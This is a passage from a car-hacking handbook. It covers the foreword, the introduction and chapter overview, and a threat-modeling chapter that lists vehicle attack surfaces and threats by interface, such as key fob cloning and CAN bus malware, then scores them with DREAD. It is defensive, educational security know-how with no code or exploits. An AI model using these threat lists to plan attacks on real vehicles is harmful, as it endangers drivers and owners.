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FOREWORD

The	world	needs	more	hackers,	and	the	world	definitely	needs	more	car
hackers.	Vehicle	technology	is	trending	toward	more	complexity	and	more
connectivity.	Combined,	these	trends	will	require	a	greater	focus	on
automotive	security	and	more	talented	individuals	to	provide	this	focus.

But	what	is	a	hacker?	The	term	is	widely	corrupted	by	the	mainstream
media,	but	correct	use	of	the	term	hacker	refers	to	someone	who	creates,	who
explores,	who	tinkers—someone	who	discovers	by	the	art	of	experimentation
and	by	disassembling	systems	to	understand	how	they	work.	In	my
experience,	the	best	security	professionals	(and	hobbyists)	are	those	who	are
naturally	curious	about	how	things	work.	These	people	explore,	tinker,
experiment,	and	disassemble,	sometimes	just	for	the	joy	of	discovery.	These
people	hack.

A	car	can	be	a	daunting	hacking	target.	Most	cars	don’t	come	with	a
keyboard	and	login	prompt,	but	they	do	come	with	a	possibly	unfamiliar
array	of	protocols,	CPUs,	connectors,	and	operating	systems.	This	book	will
demystify	the	common	components	in	cars	and	introduce	you	to	readily
available	tools	and	information	to	help	get	you	started.	By	the	time	you’ve
finished	reading	the	book,	you’ll	understand	that	a	car	is	a	collection	of
connected	computers—there	just	happen	to	be	wheels	attached.	Armed	with
appropriate	tooling	and	information,	you’ll	have	the	confidence	to	get
hacking.

This	book	also	contains	many	themes	about	openness.	We’re	all	safer
when	the	systems	we	depend	upon	are	inspectable,	auditable,	and
documented—and	this	definitely	includes	cars.	So	I’d	encourage	you	to	use
the	knowledge	gained	from	this	book	to	inspect,	audit,	and	document.	I	look
forward	to	reading	about	some	of	your	discoveries!

Chris	Evans	(@scarybeasts)
January	2016
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INTRODUCTION

In	2014,	Open	Garages—a	group	of	people	interested	in	sharing	and
collaborating	on	vehicle	security—released	the	first	Car	Hacker’s	Manual	as
course	material	for	car	hacking	classes.	The	original	book	was	designed	to	fit
in	a	vehicle’s	glove	box	and	to	cover	the	basics	of	car	hacking	in	a	one-	or
two-day	class	on	auto	security.	Little	did	we	know	how	much	interest	there
would	be	in	that	that	first	book:	we	had	over	300,000	downloads	in	the	first
week.	In	fact,	the	book’s	popularity	shut	down	our	Internet	service	provider
(twice!)	and	made	them	a	bit	unhappy	with	us.	(It’s	okay,	they	forgave	us,
which	is	good	because	I	love	my	small	ISP.	Hi	SpeedSpan.net!)

The	feedback	from	readers	was	mostly	fantastic;	most	of	the	criticism	had
to	do	with	the	fact	that	the	manual	was	too	short	and	didn’t	go	into	enough
detail.	This	book	aims	to	address	those	complaints.	The	Car	Hacker’s
Handbook	goes	into	a	lot	more	detail	about	car	hacking	and	even	covers	some
things	that	aren’t	directly	related	to	security,	like	performance	tuning	and
useful	tools	for	understanding	and	working	with	vehicles.

Why	Car	Hacking	Is	Good	for	All	of	Us
If	you’re	holding	this	book,	you	may	already	know	why	you’d	want	to	hack
cars.	But	just	in	case,	here’s	a	handy	list	detailing	the	benefits	of	car	hacking:

Understanding	How	Your	Vehicle	Works
The	automotive	industry	has	churned	out	some	amazing	vehicles,	with
complicated	electronics	and	computer	systems,	but	it	has	released	little
information	 about	 what	 makes	 those	 systems	 work.	 Once	 you
understand	 how	 a	 vehicle’s	 network	 works	 and	 how	 it	 communicates



within	its	own	system	and	outside	of	it,	you’ll	be	better	able	to	diagnose
and	troubleshoot	problems.

Working	on	Your	Vehicle’s	Electrical	Systems
As	 vehicles	 have	 evolved,	 they’ve	 become	 less	 mechanical	 and	 more
electronic.	Unfortunately,	 automotive	 electronics	 systems	 are	 typically
closed	off	 to	 all	 but	 the	dealership	mechanics.	While	dealerships	have
access	to	more	information	than	you	as	an	individual	can	typically	get,
the	 auto	 manufacturers	 themselves	 outsource	 parts	 and	 require
proprietary	 tools	 to	 diagnose	 problems.	 Learning	 how	 your	 vehicle’s
electronics	work	can	help	you	bypass	this	barrier.

Modifying	Your	Vehicle
Understanding	 how	 vehicles	 communicate	 can	 lead	 to	 better
modifications,	 like	 improved	 fuel	 consumption	 and	 use	 of	 third-party
replacement	 parts.	 Once	 you	 understand	 the	 communication	 system,
you	 can	 seamlessly	 integrate	 other	 systems	 into	 your	 vehicle,	 like	 an
additional	display	to	show	performance	or	a	third-party	component	that
integrates	just	as	well	as	the	factory	default.

Discovering	Undocumented	Features
Sometimes	vehicles	are	equipped	with	features	that	are	undocumented
or	simply	disabled.	Discovering	undocumented	or	disabled	features	and
utilizing	 them	 lets	 you	 use	 your	 vehicle	 to	 its	 fullest	 potential.	 For
example,	 the	 vehicle	 may	 have	 an	 undocumented	 “valet	 mode”	 that
allows	you	to	put	your	car	in	a	restricted	mode	before	handing	over	the
keys	to	a	valet.

Validating	the	Security	of	Your	Vehicle
As	 of	 this	 writing,	 vehicle	 safety	 guidelines	 don’t	 address	 malicious
electronic	threats.	While	vehicles	are	susceptible	to	the	same	malware	as
your	 desktop,	 automakers	 aren’t	 required	 to	 audit	 the	 security	 of	 a
vehicle’s	electronics.	This	situation	is	simply	unacceptable:	we	drive	our
families	and	friends	around	in	these	vehicles,	and	every	one	of	us	needs
to	know	that	our	vehicles	are	as	safe	as	can	be.	If	you	learn	how	to	hack
your	car,	you’ll	know	where	your	vehicle	 is	vulnerable	so	that	you	can
take	precautions	and	be	a	better	advocate	for	higher	safety	standards.



Helping	the	Auto	Industry
The	 auto	 industry	 can	 benefit	 from	 the	 knowledge	 contained	 in	 this
book	 as	 well.	 This	 book	 presents	 guidelines	 for	 identifying	 threats	 as
well	 as	 modern	 techniques	 to	 circumvent	 current	 protections.	 In
addition	 to	helping	you	design	your	 security	practice,	 this	book	offers
guidance	to	researchers	in	how	to	communicate	their	findings.

Today’s	vehicles	are	more	electronic	than	ever.	In	a	report	in	IEEE
Spectrum	titled	“This	Car	Runs	on	Code,”	author	Robert	N.	Charette	notes
that	as	of	2009	vehicles	have	typically	been	built	with	over	100
microprocessors,	50	electronic	control	units,	5	miles	of	wiring,	and	100
million	lines	of	code	(http://spectrum.ieee.org/transportation/systems/this-car-
runs-on-code).	Engineers	at	Toyota	joke	that	the	only	reason	they	put	wheels
on	a	vehicle	is	to	keep	the	computer	from	scraping	the	ground.	As	computer
systems	become	more	integral	to	vehicles,	performing	security	reviews
becomes	more	important	and	complex.

WARNING

Car	hacking	should	not	be	taken	casually.	Playing	with	your	vehicle’s	network,
wireless	connections,	onboard	computers,	or	other	electronics	can	damage	or
disable	it.	Be	very	careful	when	experimenting	with	any	of	the	techniques	in
this	book	and	keep	safety	as	an	overriding	concern.	As	you	might	imagine,
neither	the	author	nor	the	publisher	of	this	book	will	be	held	accountable	for
any	damage	to	your	vehicle.

What’s	in	This	Book
The	Car	Hacker’s	Handbook	walks	you	through	what	it	takes	to	hack	a	vehicle.
We	begin	with	an	overview	of	the	policies	surrounding	vehicle	security	and
then	delve	in	to	how	to	check	whether	your	vehicle	is	secure	and	how	to	find
vulnerabilities	in	more	sophisticated	hardware	systems.

Here’s	a	breakdown	of	what	you’ll	find	in	each	chapter:

•	Chapter	1:	Understanding	Threat	Models	teaches	you	how	to	assess	a
vehicle.	You’ll	learn	how	to	identify	areas	with	the	highest	risk
components.	If	you	work	for	the	auto	industry,	this	will	serve	as	a	useful
guide	for	building	your	own	threat	model	systems.

http://spectrum.ieee.org/transportation/systems/this-car-runs-on-code


•	Chapter	2:	Bus	Protocols	details	the	various	bus	networks	you	may	run
into	when	auditing	a	vehicle	and	explores	the	wiring,	voltages,	and
protocols	that	each	bus	uses.

•	Chapter	3:	Vehicle	Communication	with	SocketCAN	shows	how	to
use	the	SocketCAN	interface	on	Linux	to	integrate	numerous	CAN
hardware	tools	so	that	you	can	write	or	use	one	tool	regardless	of	your
equipment.

•	Chapter	4:	Diagnostics	and	Logging	covers	how	to	read	engine	codes,
the	Unified	Diagnostic	Services,	and	the	ISO-TP	protocol.	You’ll	learn
how	different	module	services	work,	what	their	common	weaknesses	are,
and	what	information	is	logged	about	you	and	where	that	information	is
stored.

•	Chapter	5:	Reverse	Engineering	the	CAN	Bus	details	how	to	analyze
the	CAN	network,	including	how	to	set	up	virtual	testing	environments
and	how	to	use	CAN	security–related	tools	and	fuzzers.

•	Chapter	6:	ECU	Hacking	focuses	on	the	firmware	that	runs	on	the	ECU.
You’ll	discover	how	to	access	the	firmware,	how	to	modify	it,	and	how	to
analyze	the	firmware’s	binary	data.

•	Chapter	7:	Building	and	Using	ECU	Test	Benches	explains	how	to
remove	parts	from	a	vehicle	to	set	up	a	safe	testing	environment.	It	also
discusses	how	to	read	wiring	diagrams	and	simulate	components	of	the
engine	to	the	ECU,	such	as	temperature	sensors	and	the	crank	shaft.

•	Chapter	8:	Attacking	ECUs	and	Other	Embedded	Systems	covers
integrated	circuit	debugging	pins	and	methodologies.	We	also	look	at	side
channel	analysis	attacks,	such	as	differential	power	analysis	and	clock
glitching,	with	step-by-step	examples.

•	Chapter	9:	In-Vehicle	Infotainment	Systems	details	how	infotainment
systems	work.	Because	the	in-vehicle	infotainment	system	probably	has	the
largest	attack	surface,	we’ll	focus	on	different	ways	to	get	to	its	firmware
and	execute	on	the	system.	This	chapter	also	discusses	some	open	source
in-vehicle	infotainment	systems	that	can	be	used	for	testing.

•	Chapter	10:	Vehicle-to-Vehicle	Communication	explains	how	the
proposed	vehicle-to-vehicle	network	is	designed	to	work.	This	chapter
covers	cryptography	as	well	as	the	different	protocol	proposals	from



multiple	countries.	We’ll	also	discuss	some	potential	weaknesses	with
vehicle-to-vehicle	systems.

•	Chapter	11:	Weaponizing	CAN	Findings	details	how	to	turn	your
research	into	a	working	exploit.	You’ll	learn	how	to	convert	proof-of-
concept	code	to	assembly	code,	and	ultimately	shellcode,	and	you’ll
examine	ways	of	exploiting	only	the	targeted	vehicle,	including	ways	to
probe	a	vehicle	undetected.

•	Chapter	12:	Attacking	Wireless	Systems	with	SDR	covers	how	to	use
software-defined	radio	to	analyze	wireless	communications,	such	as	TPMS,
key	fobs,	and	immobilizer	systems.	We	review	the	encryption	schemes	you
may	run	into	when	dealing	with	immobilizers	as	well	as	any	known
weaknesses.

•	Chapter	13:	Performance	Tuning	discusses	techniques	used	to	enhance
and	modify	a	vehicle’s	performance.	We’ll	cover	chip	tuning	as	well	as
common	tools	and	techniques	used	to	tweak	an	engine	so	it	works	the	way
you	want	it	to.

•	Appendix	A:	Tools	of	the	Trade	provides	a	list	of	software	and	hardware
tools	that	will	be	useful	when	building	your	automotive	security	lab.

•	Appendix	B:	Diagnostic	Code	Modes	and	PIDs	lists	some	common
modes	and	handy	PIDS.

•	Appendix	C:	Creating	Your	Own	Open	Garage	explains	how	to	get
involved	in	the	car	hacking	community	and	start	your	own	Open	Garage.

By	the	end	of	the	book,	you	should	have	a	much	deeper	understanding	of
how	your	vehicle’s	computer	systems	work,	where	they’re	most	vulnerable,
and	how	those	vulnerabilities	might	be	exploited.



1
UNDERSTANDING	THREAT	MODELS

If	you	come	from	the	software	penetrationtesting	world,	you’re	probably
already	familiar	with	attack	surfaces.	For	the	rest	of	us,	attack	surface	refers	to
all	the	possible	ways	to	attack	a	target,	from	vulnerabilities	in	individual
components	to	those	that	affect	the	entire	vehicle.

When	discussing	the	attack	surface,	we’re	not	considering	how	to	exploit
a	target;	we’re	concerned	only	with	the	entry	points	into	it.	You	might	think
of	the	attack	surface	like	the	surface	area	versus	the	volume	of	an	object.
Two	objects	can	have	the	same	volume	but	radically	different	surface	areas.
The	greater	the	surface	area,	the	higher	the	exposure	to	risk.	If	you	consider
an	object’s	volume	its	value,	our	goal	in	hardening	security	is	to	create	a	low
ratio	of	risk	to	value.

Finding	Attack	Surfaces
When	evaluating	a	vehicle’s	attack	surface,	think	of	yourself	as	an	evil	spy
who’s	trying	to	do	bad	things	to	a	vehicle.	To	find	weaknesses	in	the
vehicle’s	security,	evaluate	the	vehicle’s	perimeter,	and	document	the
vehicle’s	environment.	Be	sure	to	consider	all	the	ways	that	data	can	get	into
a	vehicle,	which	are	all	the	ways	that	a	vehicle	communicates	with	the
outside	world.



As	you	examine	the	exterior	of	the	vehicle,	ask	yourself	these	questions:	•
What	signals	are	received?	Radio	waves?	Key	fobs?	Distance	sensors?

•	Is	there	physical	keypad	access?

•	Are	there	touch	or	motion	sensors?

•	If	the	vehicle	is	electric,	how	does	it	charge?

As	you	examine	the	interior,	consider	the	following:	•	What	are	the	audio
input	options:	CD?	USB?	Bluetooth?

•	Are	there	diagnostic	ports?

•	What	are	the	capabilities	of	the	dashboard?	Is	there	a	GPS?	Bluetooth?
Internet?

As	you	can	see,	there	are	many	ways	data	can	enter	the	vehicle.	If	any	of
this	data	is	malformed	or	intentionally	malicious,	what	happens?	This	is
where	threat	modeling	comes	in.

Threat	Modeling
Entire	books	have	been	written	about	threat	modeling,	but	I’m	going	to	give
you	just	a	quick	tour	so	you	can	build	your	own	threat	models.	(If	you	have
further	questions	or	if	this	section	excites	you,	by	all	means,	grab	another
book	on	the	subject!)	When	threat	modeling	a	car,	you	collect	information
about	the	architecture	of	your	target	and	create	a	diagram	to	illustrate	how
parts	of	the	car	communicate.	You	then	use	these	maps	to	identify	higher-
risk	inputs	and	to	keep	a	checklist	of	things	to	audit;	this	will	help	you
prioritize	entry	points	that	could	yield	the	most	return.

Threat	models	are	typically	made	during	the	product	development	and
design	process.	If	the	company	producing	a	particular	product	has	a	good
development	life	cycle,	it	creates	the	threat	model	when	product
development	begins	and	continuously	updates	the	model	as	the	product
moves	through	the	development	life	cycle.	Threat	models	are	living
documents	that	change	as	the	target	changes	and	as	you	learn	more	about	a
target,	so	you	should	update	your	threat	model	often.

Your	threat	model	can	consist	of	different	levels;	if	a	process	in	your
model	is	complicated,	you	should	consider	breaking	it	down	further	by



adding	more	levels	to	your	diagrams.	In	the	beginning,	however,	Level	2	is
about	as	far	as	you’ll	be	able	to	go.	We’ll	discuss	the	various	levels	in	the
following	sections,	beginning	with	Threat	Level	0.

Level	0:	Bird’s-Eye	View
At	this	level,	we	use	the	checklist	we	built	when	considering	attack	surfaces.
Think	about	how	data	can	enter	the	vehicle.	Draw	the	vehicle	in	the	center,
and	then	label	the	external	and	internal	spaces.	Figure	1-1	illustrates	a
possible	Level	0	diagram.

The	rectangular	boxes	are	the	inputs,	and	the	circle	in	the	center
represents	the	entire	vehicle.	On	their	way	to	the	vehicle,	the	inputs	cross
two	dotted	lines,	which	represent	external	and	internal	threats.

The	vehicle	circle	doesn’t	represent	an	input	but	rather	a	complex	process
—that	is,	a	series	of	tasks	that	could	be	broken	down	further.	Processes	are
numbered,	and	as	you	can	see,	this	one	is	number	1.0.	If	you	had	more	than
one	complex	piece	in	your	threat	model,	you	would	number	those	in
succession.	For	instance,	you	would	label	a	second	process	2.0;	a	third,	3.0;
and	so	on.	As	you	learn	about	your	vehicle’s	features,	you	update	the
diagram.	It’s	okay	if	you	don’t	recognize	all	of	the	acronyms	in	the	diagram
yet;	you	will	soon.



Figure	1-1:	Level	0	inputs

Level	1:	Receivers
To	move	on	to	the	Level	1	diagram,	pick	a	process	to	explore.	Because	we
have	only	the	one	process	in	our	diagram,	let’s	dig	in	to	the	vehicle	process
and	focus	on	what	each	input	talks	to.

The	Level	1	map	shown	in	Figure	1-2	is	almost	identical	to	that	in	Level
0.	The	only	difference	is	that	here	we	specify	the	vehicle	connections	that
receive	the	Level	0	input.	We	won’t	look	at	the	receivers	in	depth	just	yet;
we’re	looking	only	at	the	basic	device	or	area	that	the	input	talks	to.



Figure	1-2:	Level	1	map	of	inputs	and	vehicle	connections

Notice	in	Figure	1-2	that	we	number	each	receiver.	The	first	digit
represents	the	process	label	from	the	Level	0	diagram	in	Figure	1-1,	and	the
second	digit	is	the	number	of	the	receiver.	Because	the	infotainment	unit	is
both	a	complex	process	and	an	input,	we’ve	given	it	a	process	circle.	We	now
have	three	other	processes:	immobilizer,	ECU,	and	TPMS	Receiver.

The	dotted	lines	in	the	Level	1	map	represent	divisions	between	trust
boundaries.	The	inputs	at	the	top	of	the	diagram	are	the	least	trusted,	and
the	ones	at	the	bottom	are	the	most	trusted.	The	more	trust	boundaries	that
a	communication	channel	crosses,	the	more	risky	that	channel	becomes.



Level	2:	Receiver	Breakdown
At	Level	2,	we	examine	the	communication	taking	place	inside	the	vehicle.
Our	sample	diagram	(Figure	1-3)	focuses	on	a	Linux-based	infotainment
console,	receiver	1.1.	This	is	one	of	the	more	complicated	receivers,	and	it’s
often	directly	connected	to	the	vehicle’s	internal	network.

In	Figure	1-3,	we	group	the	communications	channels	into	boxes	with
dashed	lines	to	once	again	represent	trust	boundaries.	Now	there’s	a	new
trust	boundary	inside	the	infotainment	console	called	kernel	space.	Systems
that	talk	directly	to	the	kernel	hold	higher	risk	than	ones	that	talk	to	system
applications	because	they	may	bypass	any	access	control	mechanisms	on	the
infotainment	unit.	Therefore,	the	cellular	channel	is	higher	risk	than	the
Wi-Fi	channel	because	it	crosses	a	trust	boundary	into	kernel	space;	the	Wi-
Fi	channel,	on	the	other	hand,	communicates	with	the	WPA	supplicant
process	in	user	space.



Figure	1-3:	Level	2	map	of	the	infotainment	console

This	system	is	a	Linux-based	in-vehicle	infotainment	(IVI)	system,	and	it
uses	parts	common	to	a	Linux	environment.	In	the	kernel	space,	you	see
references	to	the	kernel	modules	udev,	HSI,	and	Kvaser,	which	receive	input
from	our	threat	model.	The	udev	module	loads	USB	devices,	HSI	is	a	serial
driver	that	handles	cellular	communication,	and	Kvaser	is	the	vehicle’s
network	driver.

The	numbering	pattern	for	Level	2	is	now	X.X.X,	and	the	identification
system	is	the	same	as	before.	At	Level	0,	we	took	the	vehicle	process	that	was
1.0	and	dove	deeper	into	it.	We	then	marked	all	processes	within	Level	1	as
1.1,	1.2,	and	so	on.	Next,	we	selected	the	infotainment	process	marked	1.1



and	broke	it	down	further	for	the	Level	2	diagram.	At	Level	2,	therefore,	we
labeled	all	complex	processes	as	1.1.1,	1.1.2,	and	so	on.	(You	can	continue
the	same	numbering	scheme	as	you	dive	even	deeper	into	the	processes.	The
numbering	scheme	is	for	documentation	purposes;	it	allows	you	to	reference
the	exact	process	at	the	appropriate	level.)
NOTE

Ideally	at	this	stage,	you’d	map	out	which	processes	handle	which	inputs,	but	we’ll
have	to	guess	for	now.	In	the	real	world,	you’d	need	to	reverse	engineer	the
infotainment	system	to	find	this	information.
When	building	or	designing	an	automotive	system,	you	should	continue

to	drill	down	into	as	many	complex	processes	as	possible.	Bring	in	the
development	team,	and	start	discussing	the	methods	and	libraries	used	by
each	application	so	you	can	incorporate	them	into	their	own	threat
diagrams.	You’ll	likely	find	that	the	trust	boundaries	at	the	application	level
will	usually	be	between	the	application	and	the	kernel,	between	the
application	and	the	libraries,	between	the	application	and	other	applications,
and	even	between	functions.	When	exploring	these	connections,	mark
methods	that	have	higher	privileges	or	that	handle	more	sensitive
information.

Threat	Identification
Now	that	we’ve	gone	two	levels	deep	into	our	threat	modeling	maps,	we	can
begin	to	identify	potential	threats.	Threat	identification	is	often	more	fun	to
do	with	a	group	of	people	and	a	whiteboard,	but	you	can	do	it	on	your	own
as	a	thought	exercise.

Let’s	try	this	exercise	together.	Start	at	Level	0—the	bird’s-eye	view—
and	consider	potential	high-level	problems	with	inputs,	receivers,	and	threat
boundaries.	Now	let’s	list	all	potential	threats	with	our	threat	models.

Level	0:	Bird’s-Eye	View
When	determining	potential	threats	at	Level	0,	try	to	stay	high	level.	Some
of	these	threats	may	seem	unrealistic	because	you’re	aware	of	additional
hurdles	or	protections,	but	it’s	important	to	include	all	possible	threats	in
this	list,	even	if	some	have	already	been	addressed.	The	point	here	is	to



brainstorm	all	the	risks	of	each	process	and	input.
The	high-level	threats	at	Level	0	are	that	an	attacker	could:	•	Remotely

take	over	a	vehicle

•	Shut	down	a	vehicle

•	Spy	on	vehicle	occupants

•	Unlock	a	vehicle

•	Steal	a	vehicle

•	Track	a	vehicle

•	Thwart	safety	systems

•	Install	malware	on	the	vehicle

At	first,	it	may	be	difficult	to	come	up	with	a	bunch	of	attack	scenarios.
It’s	often	good	to	have	people	who	are	not	engineers	also	participate	at	this
stage	because	as	a	developer	or	an	engineer,	you	tend	to	be	so	involved	in	the
inner	workings	that	it’s	natural	to	discredit	ideas	without	even	meaning	to.

Be	creative;	try	to	come	up	with	the	most	James	Bond–villain	attack	you
can	think	of.	Maybe	think	of	other	attack	scenarios	and	whether	they	could
also	apply	to	vehicles.	For	example,	consider	ransomware,	a	malicious
software	that	can	encrypt	or	lock	you	out	of	your	computer	or	phone	until
you	pay	money	to	someone	controlling	the	software	remotely.	Could	this	be
used	on	vehicles?	The	answer	is	yes.	Write	ransomware	down.

Level	1:	Receivers
Threat	identification	at	Level	1	focuses	more	on	the	connections	of	each
piece	rather	than	connections	that	might	be	made	directly	to	an	input.	The
vulnerabilities	that	we	posit	at	this	level	relate	to	vulnerabilities	that	affect
what	connects	to	the	devices	in	a	vehicle.

We’ll	break	these	down	into	threat	groupings	that	relate	to	cellular,	Wi-
Fi,	key	fob	(KES),	tire	pressure	monitor	sensor	(TPMS),	infotainment
console,	USB,	Bluetooth,	and	controller	area	network	(CAN)	bus
connections.	As	you	can	see	in	the	following	lists,	there	are	many	potential
ways	into	a	vehicle.



Cellular
An	attacker	could	exploit	the	cellular	connection	in	a	vehicle	to:	•	Access	the
internal	vehicle	network	from	anywhere

•	Exploit	the	application	in	the	infotainment	unit	that	handles	incoming
calls	•	Access	the	subscriber	identity	module	(SIM)	through	the
infotainment	unit	•	Use	a	cellular	network	to	connect	to	the	remote
diagnostic	system	(OnStar)	•	Eavesdrop	on	cellular	communications

•	Jam	distress	calls	•	Track	the	vehicle’s	movements

•	Set	up	a	fake	Global	System	for	Mobile	Communications	(GSM)	base
station

Wi-Fi
An	attacker	could	exploit	the	Wi-Fi	connection	to:	•	Access	the	vehicle
network	from	up	to	300	yards	away	or	more	•	Find	an	exploit	for	the
software	that	handles	incoming	connections	•	Install	malicious	code	on	the
infotainment	unit

•	Break	the	Wi-Fi	password

•	Set	up	a	fake	dealer	access	point	to	trick	the	vehicle	into	thinking	it’s	being
serviced	•	Intercept	communications	passing	through	the	Wi-Fi	network	•
Track	the	vehicle

Key	Fob
An	attacker	could	exploit	the	key	fob	connection	to:	•	Send	malformed	key
fob	requests	that	put	the	vehicle’s	immobilizer	in	an	unknown	state.	(The
immobilizer	is	supposed	to	keep	the	vehicle	locked	so	it	can’t	be	hotwired.
We	need	to	ensure	that	it	maintains	proper	functionality.)	•	Actively	probe
an	immobilizer	to	drain	the	car	battery	•	Lock	out	a	key

•	Capture	cryptographic	information	leaked	from	the	immobilizer	during
the	handshake	process	•	Brute-force	the	key	fob	algorithm

•	Clone	the	key	fob

•	Jam	the	key	fob	signal



•	Drain	the	power	from	the	key	fob

Tire	Pressure	Monitor	Sensor
An	attacker	could	exploit	the	TPMS	connection	to:	•	Send	an	impossible
condition	to	the	engine	control	unit	(ECU),	causing	a	fault	that	could	then
be	exploited	•	Trick	the	ECU	into	overcorrecting	for	spoofed	road
conditions	•	Put	the	TPMS	receiver	or	the	ECU	into	an	unrecoverable	state
that	might	cause	a	driver	to	pull	over	to	check	for	a	reported	flat	or	that
might	even	shut	down	the	vehicle	•	Track	a	vehicle	based	on	the	TPMS
unique	IDs

•	Spoof	the	TPMS	signal	to	set	off	internal	alarms

Infotainment	Console
An	attacker	could	exploit	the	infotainment	console	connection	to:	•	Put	the
console	into	debug	mode

•	Alter	diagnostic	settings

•	Find	an	input	bug	that	causes	unexpected	results

•	Install	malware	to	the	console

•	Use	a	malicious	application	to	access	the	internal	CAN	bus	network	•	Use
a	malicious	application	to	eavesdrop	on	actions	taken	by	vehicle	occupants
•	Use	a	malicious	application	to	spoof	data	displayed	to	the	user,	such	as
the	vehicle	location

USB
An	attacker	could	use	a	USB	port	connection	to:

•	Install	malware	on	the	infotainment	unit

•	Exploit	a	flaw	in	the	USB	stack	of	the	infotainment	unit	•	Attach	a
malicious	USB	device	with	specially	crafted	files	designed	to	break
importers	on	the	infotainment	unit,	such	as	the	address	book	and	MP3
decoders	•	Install	modified	update	software	on	the	vehicle

•	Short	the	USB	port,	thus	damaging	the	infotainment	system



Bluetooth
An	attacker	could	use	a	Bluetooth	connection	to:	•	Execute	code	on	the
infotainment	unit

•	Exploit	a	flaw	in	the	Bluetooth	stack	of	the	infotainment	unit	•	Upload
malformed	information,	such	as	a	corrupted	address	book	designed	to
execute	code	•	Access	the	vehicle	from	close	ranges	(less	than	300	feet)	•
Jam	the	Bluetooth	device

Controller	Area	Network
An	attacker	could	exploit	the	CAN	bus	connection	to:	•	Install	a	malicious
diagnostic	device	to	send	packets	to	the	CAN	bus	•	Plug	directly	in	to	a
CAN	bus	to	attempt	to	start	a	vehicle	without	a	key	•	Plug	directly	in	to	a
CAN	bus	to	upload	malware

•	Install	a	malicious	diagnostic	device	to	track	the	vehicle	•	Install	a
malicious	diagnostic	device	to	enable	remote	communications	directly	to
the	CAN	bus,	making	a	normally	internal	attack	now	an	external	threat

Level	2:	Receiver	Breakdown
At	Level	2,	we	can	talk	more	about	identifying	specific	threats.	As	we	look	at
exactly	which	application	handles	which	connection,	we	can	start	to	perform
validation	based	on	possible	threats.

We’ll	break	up	threats	into	five	groups:	Bluez	(the	Bluetooth	daemon),
the	wpa_supplicant	(the	Wi-Fi	daemon),	HSI	(high-speed	synchronous
interface	cellular	kernel	module),	udev	(kernel	device	manager),	and	the
Kvaser	driver	(CAN	transceiver	driver).	In	the	following	lists,	I’ve	specified
threats	to	each	program.

Bluez
Older	or	unpatched	versions	of	the	Bluez	daemon:	•	May	be	exploitable

•	May	be	unable	to	handle	corrupt	address	books

•	May	not	be	configured	to	ensure	proper	encryption

•	May	not	be	configured	to	handle	secure	handshaking



•	May	use	default	passkeys

wpa_supplicant

•	Older	versions	may	be	exploitable

•	May	not	enforce	proper	WPA2	style	wireless	encryption	•	May	connect	to
malicious	access	points

•	May	leak	information	on	the	driver	via	BSSID	(network	interface)

HSI

•	Older	versions	may	be	exploitable

•	May	be	susceptible	to	injectable	serial	communication	(man-in-the-middle
attacks	in	which	the	attacker	inserts	serial	commands	into	the	data	stream)

udev

•	Older,	unpatched	versions	may	be	susceptible	to	attack	•	May	not	have	a
maintained	whitelist	of	devices,	allowing	an	attacker	to	load	additional
drivers	or	USB	devices	that	were	not	tested	or	intended	for	use	•	May
allow	an	attacker	to	load	foreign	devices,	such	as	a	keyboard	to	access	the
infotainment	system

Kvaser	Driver

•	Older,	unpatched	versions	may	be	exploitable

•	May	allow	an	attacker	to	upload	malicious	firmware	to	the	Kvaser	device
These	lists	of	potential	vulnerabilities	are	by	no	means	exhaustive,	but	they
should	give	you	an	idea	of	how	this	brainstorming	session	works.	If	you
were	to	go	to	a	Level	3	map	of	potential	threats	to	your	vehicle,	you	would
pick	one	of	the	processes,	like	HSI,	and	start	to	look	at	its	kernel	source	to
identify	sensitive	methods	and	dependencies	that	might	be	vulnerable	to
attack.

Threat	Rating	Systems
Having	documented	many	of	our	threats,	we	can	now	rate	them	with	a	risk
level.	Common	rating	systems	include	DREAD,	ASIL,	and	MIL-STD-



882E.	DREAD	is	commonly	used	in	web	testing,	while	the	automotive
industry	and	government	use	ISO	26262	ASIL	and	MIL-STD-882E,
respectively,	for	threat	rating.	Unfortunately,	ISO	26262	ASIL	and	MIL-
STD-882E	are	focused	on	safety	failures	and	are	not	adequate	to	handle
malicious	threats.	More	details	on	these	standards	can	be	found	at
http://opengarages.org/index.php/Policies_and_Guidelines.

The	DREAD	Rating	System
DREAD	stands	for	the	following:

Damage	potential	How	great	is	the	damage?

Reproducibility	How	easy	is	it	to	reproduce?

Exploitability	How	easy	is	it	to	attack?

Affected	users	How	many	users	are	affected?

Discoverabilty	How	easy	is	it	to	find	the	vulnerability?

Table	1-1	lists	the	risk	levels	from	1	to	3	for	each	rating	category.

Table	1-1:	DREAD	Rating	System

	 Rating
category

High	(3) Medium	(2) Low	(1)

DDamage
potential

Could	subvert	the
security	system
and	gain	full	trust,
ultimately	taking
over	the
environment

Could	leak	sensitive
information

Could	leak
trivial
information

R Reproducibility Is	always
reproducible

Can	be	reproduced
only	during	a	specific
condition	or	window
of	time

Is	very	difficult
to	reproduce,
even	given
specific
information
about	the
vulnerability

http://opengarages.org/index.php/Policies_and_Guidelines


E Exploitability Allows	a	novice
attacker	to
execute	the
exploit

Allows	a	skilled
attacker	to	create	an
attack	that	could	be
used	repeatedly

Allows	only	a
skilled	attacker
with	in-depth
knowledge	to
perform	the
attack

A Affected	users Affects	all	users,
including	the
default	setup	user
and	key	customers

Affects	some	users	or
specific	setups

Affects	a	very
small	percentage
of	users;
typically	affects
an	obscure
feature

DDiscoverability Can	be	easily
found	in	a
published
explanation	of	the
attack

Affects	a	seldom-used
part,	meaning	an
attacker	would	need
to	be	very	creative	to
discover	a	malicious
use	for	it

Is	obscure,
meaning	it’s
unlikely
attackers	would
find	a	way	to
exploit	it

Now	we	can	apply	each	DREAD	category	from	Table	1-1	to	an
identified	threat	from	earlier	in	the	chapter	and	score	the	threat	from	low	to
high	(1–3).	For	instance,	if	we	take	the	Level	2	HSI	threats	discussed	in
“Level	2:	Receiver	Breakdown”	on	page	10,	we	can	come	up	with	threat
ratings	like	the	ones	shown	in	Table	1-2.

Table	1-2:	HSI	Level	2	Threats	with	DREAD	Scores

HSI	threats D RE A D Total

An	older,	unpatched	version	of	HSI	that	may	be
exploitable

3 3 2 3 3 14

An	HSI	that	may	be	susceptible	to	injectable	serial
communication

2 2 2 3 3 12

You	can	identify	the	overall	rating	by	using	the	values	in	the	Total
column,	as	shown	in	Table	1-3.



Table	1-3:	DREAD	Risk	Scoring	Chart

Total Risk	level

5–7 Low

8–11 Medium

12–15High

When	performing	a	risk	assessment,	it’s	good	practice	to	leave	the
scoring	results	visible	so	that	the	person	reading	the	results	can	better
understand	the	risks.	In	the	case	of	the	HSI	threats,	we	can	assign	high	risk
